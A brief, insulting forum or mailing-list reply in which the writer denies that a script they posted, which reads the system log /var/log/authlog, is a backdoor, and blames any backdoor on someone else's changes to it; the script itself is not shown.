So again dumbass...

Look at the script. Although YOU'RE opening /var/log/authlog what is the 
script opening. Please tell me you're really not that stupid. And if 
someone else decided to modify this script, what does that have to do 
with what I posted. How exactly is my script a backdoor as you claim. 
Enquiring minds want to know this since you claim its a backdoor. Please 
tell me outside of your modification how this is going to backdoor someone.
